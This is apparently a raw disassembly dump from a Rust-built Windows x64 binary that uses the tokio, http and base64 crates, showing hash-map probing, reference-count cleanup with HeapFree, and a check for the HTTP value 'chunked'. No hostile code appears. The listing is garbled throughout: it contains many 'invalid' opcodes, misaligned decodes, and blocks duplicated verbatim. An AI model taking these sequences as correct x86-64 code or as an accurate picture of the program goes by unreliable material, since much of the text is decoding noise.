add byte [rax], al
ret
push rbx
invalid
invalid
ret
lea rcx, [0x140174bc0]
mov rdx, qword [rcx + rax*8]
mov edx, dword [rcx + rax*8]
ficom dword [rbx]
add byte [rax - 0x75], cl
mov edx, dword [rcx + rax*8]
mov edx, dword [rcx + rax*8]
lea rcx, case.0x14003596b.51
or eax, 0x13dafb
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
ret
lea eax, [0x14012c440]
invalid
mov edx, 0xe
ret
invalid
mov edx, 0x10
adc byte [rax], al
add byte [rax], al
ret
mov edx, 0x1e
ret
lea rax, [0x14012c1e9]
mov edx, 0xc
ret
push rax
invalid
lea rax, [0x14012c1ad]
mov edx, 0x31
ret
push rax
invalid
lea rax, [0x14012c1de]
mov edx, 0xb
ret
lea rax, [0x14012c268]
mov edx, 0x1f
ret
lea rax, [0x14012c192]
mov edx, 0x1b
ret
lea rcx, [0x140174c50]
mov rdx, qword [rcx + rax*8]
lea rcx, case.0x14003596b.63
mov rax, qword [rcx + rax*8]
ret
lea rax, [0x14012c24f]
mov edx, 0x19
ret
lea rax, [0x14012c287]
mov edx, 0x42
ret
adc byte [rax - 0x75], cl
push rsp
and al, 0x38
movups xmm0, xmmword [rdx]
movups xmmword [rax + 0x18], xmm0
mov qword [rax + 0x28], r15
mov word [rax + 0x30], bp
mov byte [rax + 0x32], cl
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
push 0x5e5f5d5b
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rax + 8], r15
mov qword [rax + 0x10], r13
mov byte [rax + 0x32], 2
jmp 0x1400385c0
int3
and eax, 0x58
mov rax, qword [rdx + rax*8]
movups xmm0, xmmword [rax + 0xa8]
inc qword [rax + 0xa8]
movups xmmword [rcx + 8], xmm0
mov rbx, qword [rcx + 0x48]
test rdi, rdi
je 0x14003879f
lea rax, [rdi - 1]
movabs r9, 0x3fffffffffffffff
and r9, rax
mov rax, rbx
mov eax, ebx
mov eax, ebx
cmp r9, 7
jb 0x140038789
inc r9
mov rdx, r9
and rdx, 0xfffffffffffffff8
lea rax, [rbx + rdx*4]
xor r8d, r8d
movaps xmm0, xmmword [0x1401137e0]
nop word [rax + rax]
invalid
add byte [rax], r8b
invalid
movups xmmword [rbx + r8*4], xmm0
movups xmmword [rbx + r8*4 + 0x10], xmm0
add r8, 8
cmp rdx, r8
jne 0x140038770
cmp r9, rdx
je 0x14003879f
lea rdx, [rbx + rdi*4]
nop dword [rax]
mov dword [rax], 0xffff
add rax, 4
cmp rax, rdx
jne 0x140038790
test r14, r14
je 0x140038966
mov rsi, qword [rcx + 0x20]
imul rax, r14, 0x68
add rax, rsi
mov qword [rsp + 0x20], rax
movzx eax, word [rcx + 0x58]
movzx r12d, ax
xor r13d, r13d
jmp 0x1400387e9
mov word [rbx + r10*4], bp
mov rcx, r14
mov word [rbx + r10*4 + 2], ax
cmp rsi, qword [rsp + 0x20]
je 0x140038966
mov rbp, r13
mov r15, rsi
add rsi, 0x68
inc r13
lea rdx, [r15 + 0x40]
mov r14, rcx
call fcn.140038000
mov r8d, eax
and r8d, r12d
mov word [r15 + 0x60], ax
xor edx, edx
nop
mov r10, r8
mov r8d, 0
cmp r10, rdi
jae 0x140038810
cmp word [rbx + r10*4], 0xffff
je 0x1400387d0
movzx r8d, word [rbx + r10*4 + 2]
and r8d, r12d
mov r9d, r10d
sub r9d, r8d
mov r8d, r12d
and r8d, r9d
cmp r8, rdx
jb 0x140038850
inc rdx
inc r10
mov r8, r10
jmp 0x140038810
mov rcx, r14
nop word cs:[rax + rax]
mov rdx, r10
mov r10d, 0
cmp rdx, rdi
jae 0x140038860
movzx r9d, word [rbx + rdx*4]
cmp r9w, 0xffff
je 0x1400388a0
movzx r8d, word [rbx + rdx*4 + 2]
mov word [rbx + rdx*4], bp
mov word [rbx + rdx*4 + 2], ax
inc rdx
mov eax, r8d
mov ebp, r9d
mov r10, rdx
jmp 0x140038860
mov word [rbx + rdx*4], bp
mov r10, rdx
mov word [rbx + r10*4 + 2], ax
cmp rsi, qword [rsp + 0x20]
jne 0x1400387e9
jmp 0x140038966
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
pop rax
mov dword [rax + 0x50], r13d
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x58], rcx
mov byte [rax + 0x60], 0
lock inc qword [rax]
movzx edx, byte [rsp + 0x23]
and eax, dword [rbx + rcx*4 + 0x44]
and al, 0x28
and eax, dword [rbx + rcx*4 + 0x44]
and al, 0x28
mov r9, qword [rsp + 0x30]
jle 0x140038edd
mov qword [rsi], rax
mov qword [rsi + 8], 0
mov ecx, dword [rsp + 0x24]
and al, 0x89
adc byte [rdi], r9b
push rdi
ror byte [rdi], 0x11
sbb byte [rbx - 0x76d3dbb4], r9b
sub dil, r8b
sub al, 0
add byte [rax], al
add byte [rcx + rcx*4 + 0x76], cl
xor byte [rcx + rcx*4 + 0x7e], al
cmp byte [rcx + rcx*4 + 0x4e], cl
mov dword [rsi + 0x40], ecx
and al, 0x89
adc byte [rdi], r9b
push rdi
ror byte [rdi], 0x11
sbb byte [rbx - 0x76d3dbb4], r9b
sub dil, r8b
sub al, 0
add byte [rax], al
add byte [rcx + rcx*4 + 0x76], cl
xor byte [rcx + rcx*4 + 0x7e], al
cmp byte [rcx + rcx*4 + 0x4e], cl
mov dword [rsi + 0x40], ecx
mov dword [rsi + 0x48], r8d
mov dword [rsi + 0x40], ecx
mov dword [rsi + 0x48], r8d
mov qword [rsi + 0x50], r12
mov byte [rsi + 0x58], dl
mov byte [rsi + 0x59], 0
mov qword [rsi + 0x60], rax
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
and byte [r8 - 0x7d], cl
invalid
add byte [rax], al
add al, ch
leave
test dword [rax + rax], 0x120d8d48
invalid
call fcn.140108990
int3
test r15, r15
je 0x14003925e
mov rbx, qword [rdi + 0x58]
lea r14, [rbx + 8]
jmp 0x140039219
add r14, 0x10
dec r15
je case.0x140031ef2.760
mov rax, qword [r14 - 8]
lock dec qword [rax]
je 0x140039230
mov rax, qword [r14]
lock dec qword [rax]
jne 0x140039210
jmp 0x140039242
lea rcx, [r14 - 8]
call fcn.140004be0
mov rax, qword [r14]
lock dec qword [rax]
jne 0x140039210
mov rcx, r14
call fcn.140039550
jmp 0x140039210
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rdi + 0x70], 0
je 0x140039278
mov r8, qword [rdi + 0x68]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
push 0xfffffffff00d8b48
invalid
cmp qword [rdi + 0xc8], 0
je 0x140039298
mov r8, qword [rdi + 0xd0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rdi + 0x108]
mov r15, qword [rdi + 0x110]
add byte [rax], al
add byte [rax], al
test r15, r15
je 0x14003940c
xor r12d, r12d
movabs r13, 0xffffffff00000000
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400392ea
inc r12
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call rbp
cmp r12, r15
je 0x14003940c
mov r14, qword [rbx + r12*8]
mov rcx, qword [r14]
test rcx, rcx
je 0x14003931d
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400394ec
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14003931d
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rcx, [r14 + 0x18]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400393f7
mov r8, qword [rcx]
mov rdx, qword [r8 + 0x18]
nop dword [rax + rax]
mov rax, rdx
shr rax, 0x20
mov dword [rsp + 0x28], eax
mov r9d, dword [r8 + 0x20]
cmp r9d, edx
je 0x1400393c4
lea r9d, [rdx + 1]
mov dword [rsp + 0x2c], r9d
cmp eax, edx
jne 0x140039380
mov eax, r9d
mov r9, rax
shl r9, 0x20
or r9, rax
mov rax, rdx
lock cmpxchg qword [r8 + 0x18], r9
jne 0x1400393a0
jmp 0x1400393b0
cmp r9d, eax
je 0x1400394cf
mov eax, r9d
mov r9, rdx
and r9, r13
or r9, rax
mov rax, rdx
lock cmpxchg qword [r8 + 0x18], r9
je 0x1400393b0
mov rdx, rax
jmp 0x140039340
movzx eax, dl
mov rdx, qword [r8 + 0x10]
mov rax, qword [rdx + rax*8]
test rax, rax
jne 0x140039504
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400393d2
call fcn.140004be0
mov rax, qword [r14 + 8]
test rax, rax
je 0x1400392d0
lock dec qword [rax]
jne 0x1400392d0
lea rcx, [r14 + 8]
call fcn.140039550
jmp 0x1400392d0
mov rsi, rcx
call fcn.1401105f0
mov rcx, rsi
test al, al
jne 0x140039334
jmp 0x1400393c4
cmp qword [rdi + 0x100], 0
je 0x140039428
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x140039444
lock dec qword [rax]
jne 0x140039444
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
call fcn.140004950
mov rax, qword [rdi + 0x30]
test rax, rax
je 0x140039460
lock dec qword [rax]
jne 0x140039460
mov rcx, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x38]
call fcn.140004950
lea rcx, [rdi + 0x118]
call fcn.1400e44b0
mov rax, qword [rdi + 0x1c8]
lock dec qword [rax]
jne 0x140039488
add rdi, 0x1c8
mov rcx, rdi
call fcn.1400059f0
mov rax, qword [rsp + 0x30]
mov r8, qword [rax]
cmp r8, 0xffffffffffffffff
je 0x1400394bd
lock dec qword [r8 + 8]
jne 0x1400394bd
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x2c]
lea r8, [rsp + 0x38]
call fcn.140109a50
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
mov rcx, rax
call fcn.1400395a0
lea rax, str.queue_not_empty
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x38]
add byte [rax - 0x73], cl
and al, 0x38
call fcn.140108560
int3
in al, dx
and byte [rax - 0x77], cl
invalid
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x140039593
lock dec qword [r8 + 8]
jne 0x140039593
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
popfq
or eax, 0x83489000
invalid
nop
add rsp, 0x20
pop rsi
ret
sbb byte [rax], al
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140039dac
mov qword [rax], rdi
lea rcx, [0x14012b430]
lea ecx, [0x14012b430]
lea ecx, [0x14012b430]
mov qword [rax + 8], rcx
mov dword [rax + 8], ecx
mov byte [rax + 0x10], 0x27
inc rax
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rdx + 0x28], bh
invalid
add al, ch
adc al, 0xe5
or al, 0
call fcn.1401082c0
mov qword [rbp - 0x10], rdi
mov ecx, 8
mov edx, 0x18
add byte [rdx + 0x18], bh
call fcn.1401082c0
ud2
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x14012b430]
mov rcx, qword [rbp - 0x10]
call fcn.1400dd190
nop
add rsp, 0x20
invalid
and byte [rdi + 0x5e], bl
pop rbp
ret
invalid
add dword [rax - 0x7d], ecx
sar dh, 0x48
dec byte [rax - 0x7d]
clc
add al, 0x41
mov eax, 1
cmp eax, 4
mov r8d, 1
cmovb r8, rax
lea rax, [0x140177a88]
movsxd r8, dword [rax + r8*4]
invalid
add al, 0x80
add r8, rax
jmp r8
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14014224e]
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
jmp 0x140039e7b
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140142284]
mov r8d, 9
jmp 0x140039e7b
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140142174]
mov r8d, 6
add rsp, 0x38
pop rdi
pop rsi
jmp rax
mov rax, qword [rdx + 0x20]
mov r10, qword [rdx + 0x28]
lea r9, str.BodyKeepAliveEndStreamScheduledLibraryResetReservedLocalReservedRemotelocalremoteHalfClosedLocalHalfClosedRemoteNotEofWriter_must_be_presentC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.7_srcwriteencoder.rs
mov r8d, 4
mov rsi, rcx
mov rcx, rax
mov rdi, rdx
mov rdx, r9
call qword [r10 + 0x18]
mov qword [rsp + 0x28], rdi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x14012ca48]
lea rcx, [rsp + 0x20]
mov rdx, rsi
call fcn.140016570
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x140039f3b
mov al, 1
test dl, dl
jne 0x140039f3d
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x140039f21
cmp byte [rsp + 0x31], 0
je 0x140039f21
test byte [rsi + 0x34], 4
jne 0x140039f21
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140039f3d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140039f3d
mov eax, edx
test al, al
setne al
add rsp, 0x38
pop rdi
pop rsi
ret
dec esp
int3
je 0x14003a131
test byte [rsi + 0x34], 4
jne 0x14003a131
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
jne 0x14003a16e
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14003a16e
invalid
test al, al
setne al
add rsp, 0x40
pop rsi
ret
stc
adc esi, dword [rbx + 0x30]
mov rsi, r8
mov ebx, 0x12
sub rbx, rcx
add rcx, rdi
cmp r8, rbx
mov r8, rbx
cmovb r8, rsi
call fcn.140106530
cmp rbx, rsi
jb 0x14003a225
add byte [rdi + 0x13], sil
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rax, str.failed_to_write_whole_buffer
mov qword [rsp + 0x28], rax
lea rax, [0x14012cb38]
mov qword [rsp + 0x20], rax
lea rcx, str.mut__u8_.write___cannot_error
lea r9, [0x14012b698]
lea r8, [rsp + 0x28]
mov edx, 0x1e
call fcn.1401088e0
int3
add byte [rax], al
add byte [rbx + 0xe], dh
mov byte [rsp + 0x34], dl
mov edi, 1
jmp 0x14003a30f
sbb al, cl
call 0xc8c3ae9e
and al, 0x34
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x35], dl
mov edi, 2
jmp 0x14003a30f
and al, 0x36
mov edi, 3
jmp 0x14003a30f
movzx ecx, byte [rsi + 0x13]
cmp rcx, 0x13
jae 0x14003a34b
mov ebx, 0x12
sub rbx, rcx
add rcx, rsi
cmp rdi, rbx
mov r8, rbx
cmovb r8, rdi
lea rdx, [rsp + 0x34]
call fcn.140106530
cmp rbx, rdi
jb 0x14003a35c
add byte [rsi + 0x13], dil
xor eax, eax
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
lea r8, [0x14012cb00]
mov edx, 0x12
call fcn.1401085a0
lea rax, str.failed_to_write_whole_buffer
mov qword [rsp + 0x38], rax
lea rax, [0x14012cb38]
mov qword [rsp + 0x20], rax
lea rcx, str.mut__u8_.write___cannot_error
lea r9, [0x14012b698]
lea r8, [rsp + 0x38]
mov edx, 0x1e
call fcn.1401088e0
int3
test r15, r15
je 0x14003a85e
mov r8, rbx
jmp 0x14003a824
mov word [rax + r11*4], r9w
mov word [rax + r11*4 + 2], r10w
add r8, 4
cmp r8, rdx
je 0x14003a85e
movzx r9d, word [r8]
cmp r9w, 0xffff
je 0x14003a81b
movzx r10d, word [r8 + 2]
mov r11d, r10d
and r11d, ecx
movzx r15d, r11w
nop
mov r11, r15
mov r15d, 0
cmp r11, rsi
jae 0x14003a840
cmp word [rax + r11*4], 0xffff
je 0x14003a810
inc r11
mov r15, r11
jmp 0x14003a840
mov rdx, rsi
shr rdx, 2
mov rax, qword [rdi + 0x18]
mov r15, qword [rdi + 0x28]
add rdx, r15
mov rcx, rsi
sub rcx, rdx
mov rdx, rax
sub rdx, r15
cmp rdx, rcx
jae 0x14003a969
add r15, rcx
jb 0x14003a9ba
movabs rcx, 0x155555555555556
xor edx, edx
cmp r15, rcx
setb dl
mov rcx, r15
shl rcx, 5
lea r8, [rcx + rcx*2]
shl edx, 3
test rax, rax
je 0x14003a93e
mov rcx, qword [rdi + 0x20]
shl rax, 5
lea rax, [rax + rax*2]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], rax
mov eax, 8
jmp 0x14003a940
mov word [rax + r12*4], r10w
mov word [rax + r12*4 + 2], r11w
add r9, 4
cmp r9, r8
je 0x14003a802
movzx r10d, word [r9]
cmp r10w, 0xffff
je 0x14003a8eb
movzx r11d, word [r9 + 2]
mov ebp, r11d
and ebp, ecx
movzx r13d, bp
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
mov r12, r13
mov r13d, 0
cmp r12, rsi
jae 0x14003a920
cmp word [rax + r12*4], 0xffff
je 0x14003a8e0
inc r12
mov r13, r12
jmp 0x14003a920
xor eax, eax
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
call fcn.1400f6880
cmp qword [rsp + 0x28], 0
jne 0x14003a9c1
mov rax, qword [rsp + 0x30]
mov qword [rdi + 0x20], rax
mov qword [rdi + 0x18], r15
test r14, r14
je 0x14003a980
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp rsi, 0x8001
setae al
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 2
mov rdx, rbx
call fcn.1401082a0
xor ecx, ecx
call fcn.1401082a0
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
call fcn.1401082a0
int3
push rbp
push rbp
add dword [rcx], esi
ror byte [rcx + rdi - 0x3f], cl
setb dl
cmp rcx, 5
mov edi, 4
cmovae rdi, rcx
mov rcx, rdi
shl rcx, 5
lea r8, [rcx + rcx*2]
shl edx, 3
test rax, rax
je 0x14003aa52
mov rcx, qword [rsi + 8]
shl rax, 5
lea rax, [rax + rax*2]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], rax
mov eax, 8
jmp 0x14003aa54
xor eax, eax
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
call fcn.1400f6880
cmp qword [rsp + 0x28], 0
jne 0x14003aa8a
mov rax, qword [rsp + 0x30]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
call fcn.1401082a0
int3
add byte [rax], al
mov rax, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x28]
mov rdx, qword [rax + 0x28]
cmp rcx, rdx
jae 0x14003ae18
mov rax, qword [rax + 0x20]
imul rcx, rcx, 0x68
lea rdx, [rax + rcx]
add rdx, 0x18
jmp 0x14003acbd
mov rcx, qword [rdx + 8]
mov rax, qword [rdx + 0x10]
xor edx, edx
nop word [rax + rax]
cmp rax, rdx
je 0x14003acf2
movzx r8d, byte [rcx + rdx]
inc rdx
cmp r8b, 9
je 0x14003acd0
add r8b, 0xe0
cmp r8b, 0x5f
jb 0x14003acd0
jmp 0x14003ae02
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], rax
movabs rax, 0x2c0000002c
mov qword [rsp + 0x50], rax
add byte [rax - 0x77], cl
and al, 0x50
mov byte [rsp + 0x58], 1
mov word [rsp + 0x60], 1
lea rcx, [rsp + 0x20]
call fcn.14003ae30
test rax, rax
je 0x14003ae02
mov rcx, rax
call fcn.1400532b0
cmp rdx, 7
jne 0x14003ae02
movzx ecx, byte [rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
xchg edx, eax
ret 0xe2c0
add eax, 0xfa80ca08
invalid
jne 0x14003ae02
xchg edx, eax
ret 0xe2c0
movzx ecx, byte [rax + 1]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x68
jne 0x14003ae02
movzx ecx, byte [rax + 2]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x75
jne 0x14003ae02
movzx ecx, byte [rax + 3]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6e
jne 0x14003ae02
movzx ecx, byte [rax + 4]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6b
jne 0x14003ae02
movzx ecx, byte [rax + 5]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x65
jne 0x14003ae02
movzx eax, byte [rax + 6]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x64
sete al
add rsp, 0x68
ret
xor eax, eax
add rsp, 0x68
ret
lea eax, [0x14012b3e0]
mov rcx, rax
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
call fcn.1401085b0
int3
add al, 0x4c
mov dword [rdi + 0x28], ebp
mov byte [rdi + 0x41], 1
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
sub rdx, rax
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ror dword [rbx + 0x39], cl
fisttp qword [0xd6bdf8d8]
jne 0x14003af95
invalid
test dword [rbp + rax - 0x72b80000], esi
push rsp
and al, 0x30
mov rcx, rdi
call fcn.140038000
mov ebp, eax
movzx ebx, word [rdi + 0x58]
mov r15d, ebp
and r15d, ebx
and edi, ebx
mov r12, qword [rdi + 0x50]
mov rsi, qword [rdi + 0x48]
mov r9, qword [rdi + 0x20]
mov qword [rsp + 0x88], rdi
mov rdx, qword [rdi + 0x28]
mov r10, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x108], rax
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x2f], al
mov r8, qword [rsp + 0x40]
xor r13d, r13d
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x158], r9
mov qword [rsp + 0x150], r10
mov qword [rsp + 0x148], r8
jmp 0x14003b136
nop
add byte [rax], al
add byte [rcx + rcx*4 - 0x74], cl
and al, 0x58
add dword [rax], eax
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x50
add dword [rax], eax
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0x48
add dword [rax], eax
add bl, ch
and cl, byte [rdi]
mov dh, 0x4c
and al, 0x2f
movzx ecx, byte [rsp + 0x2f]
cmp byte [rax + 8], cl
je 0x14003b1f8
nop word cs:[rax + rax]
inc r13
inc r15
mov rax, r15
nop dword [rax]
mov r15, rax
mov eax, 0
cmp r15, r12
jae 0x14003b140
movzx edi, word [rsi + r15*4]
cmp rdi, 0xffff
je 0x14003b30b
movzx eax, word [rsi + r15*4 + 2]
mov ecx, ebx
and ecx, eax
mov r11d, r15d
sub r11d, ecx
and r11d, ebx
cmp r11, r13
jb 0x14003b449
cmp ax, bp
jne 0x14003b130
cmp rdx, rdi
jbe 0x14003b622
test r10, r10
sete al
imul r14, rdi, 0x68
mov rcx, qword [r9 + r14 + 0x40]
test rcx, rcx
setne r11b
cmp r11b, al
je 0x14003b130
lea rax, [r9 + r14]
add rax, 0x40
test rcx, rcx
je 0x14003b114
cmp qword [rax + 0x10], r8
jne 0x14003b130
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x108]
call fcn.140106bb0
mov r8, qword [rsp + 0x148]
mov r10, qword [rsp + 0x150]
mov r9, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x90]
test eax, eax
jne 0x14003b130
cmp qword [r9 + r14], 0
mov rsi, qword [rsp + 0x88]
je 0x14003b226
add r9, r14
mov rdx, qword [r9 + 8]
mov rcx, rsi
mov rbx, r10
mov r15, r8
call fcn.14004f2f0
mov r8, r15
mov r10, rbx
mov rdx, qword [rsi + 0x28]
cmp rdx, rdi
jbe 0x14003b643
mov rax, qword [rsi + 0x20]
movups xmm0, xmmword [rax + r14 + 0x18]
movups xmm1, xmmword [rax + r14 + 0x28]
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
movzx ebx, byte [rax + r14 + 0x38]
mov ecx, dword [rax + r14 + 0x3c]
mov dword [rsp + 0x5b], ecx
mov ecx, dword [rax + r14 + 0x39]
mov dword [rsp + 0x58], ecx
movups xmm0, xmmword [rsp + 0x98]
movups xmm1, xmmword [rsp + 0xa8]
mov rcx, qword [rsp + 0xb8]
mov qword [rax + r14 + 0x38], rcx
movups xmmword [rax + r14 + 0x18], xmm0
movups xmmword [rax + r14 + 0x28], xmm1
test r10, r10
je 0x14003b2a6
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x108]
call qword [r10 + 0x10]
cmp bl, 3
je 0x14003b6db
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x80], bl
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x5b]
mov dword [rsp + 0x81], eax
mov dword [rsp + 0x84], ecx
cmp bl, 2
je 0x14003b5ef
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
call qword [rax + 0x10]
jmp 0x14003b5ef
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x100], rax
movups xmm0, xmmword [rsp + 0x98]
movups xmm1, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
cmp rdx, 0x7fff
ja 0x14003b690
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rsp + 0x98]
movups xmm1, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov rax, rdx
mov rsi, qword [rsp + 0x88]
cmp rdx, qword [rsi + 0x18]
jne 0x14003b3d4
lea rcx, [rsi + 0x18]
call case.0x14002a2ab.1428
mov rdx, qword [rsp + 0x90]
mov r9, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r12, qword [rsi + 0x50]
imul rcx, rax, 0x68
mov qword [r9 + rcx], 0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [r9 + rcx + 0x18], xmm0
movups xmmword [r9 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x80]
mov qword [r9 + rcx + 0x38], r8
movaps xmm0, xmmword [rsp + 0x110]
